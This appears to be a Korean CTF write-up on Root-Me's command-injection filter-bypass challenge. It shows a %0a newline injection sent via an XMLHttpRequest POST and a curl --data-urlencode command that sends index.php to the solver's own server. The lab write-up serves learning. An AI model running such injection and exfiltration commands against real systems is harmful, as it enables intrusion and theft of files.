Command injection - Filter bypass

 

 

 

index.php 파일을 읽어야 되는 문제이며

ping test를 할 수 있는 웹페이지이다.


문제풀이

 

 

 

당연히 ;나 &를 넣어봤을 때 필터링이 될줄 알았는데 127.0.0.1;과 같이 연결해보니 잘되었다.

12;;;7.0.0.1 과 같은게 Ping OK라고 뜨는 것을 보면 공백으로 처리되는 것 같았고,

LOS풀 때 sql injection 할 때에도 사용한 %0a를 이용하니까 이번 문제도 풀 수 있었다.

 

 

처음에 %0a를 input box에다가 넣어서 삽질을 많이했다. (후.. input box에서 모두 문자열로 읽으므로 %0a가 단순히 문자열로 인식된다. ) 

 

 

다음과 같이 console창에다가 post형식으로 데이터를 전송해주면 %0a 뒤에 명령어를 넣어도 Ping Ok를 확인할 수 있다.

 

더보기

client=new XMLHttpRequest(); 
client.open('POST',"http://challenge01.root-me.org/web-serveur/ch53/",true); 
client.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); 
client.send("변수명=입력할 데이터");

참고사이트 : https://dongdd.tistory.com/29

 

 

이제 %0a로 뒤에 명령어를 연결할 수 있음을 알게 되었고

Ping OK만 뜨고 다른 출력문은 나오지 않으니 index.php를 직접적으로 출력하여 문제를 풀 수는 없다.

 

 

Blind command injection을 검색하여 여러 방법들을 찾을 수 있었는데 그중에서 curl 을 이용하여 문제를 해결하였다.

 

 

curl을 통해 우리는 index.php 파일을 우리의 서버에 전송하여야하는데 

curl 메뉴얼을 살펴보면서 --data 옵션으로 문제를 해결할 수 있었다.

 

 

curl --data-urlencode "name@file_name" 본인서버.

 

 

여기서 우리가 필요한 file_name은 index.php이므로 file_name부분에 index.php를 넣고

본인서버에 $_POST[name]으로 데이터를 받아서 다른파일에 저장시켜주면

해당 파일에 index.php 내용이 load되어 flag를 찾을 수 있다.

 

 

참고한 curl 메뉴얼 :                              

https://curl.haxx.se/docs/manual.html  

https://curl.haxx.se/docs/manpage.html

 


 

 

웹브라우저에서 렌더링 과정

https://jeong-pro.tistory.com/90

 

'Web hacking > Root me' 카테고리의 다른 글

[Root-me] - XML External Entity  (0) 2019.12.11
[Root-me] - PHP - Eval  (0) 2019.12.03
[Root-me] - File upload - ZIP  (0) 2019.12.03
[Root-me] - Local File Inclusion - Wrappers  (0) 2019.11.30
[Root-me] PHP - Serialization  (0) 2019.11.16

+ Recent posts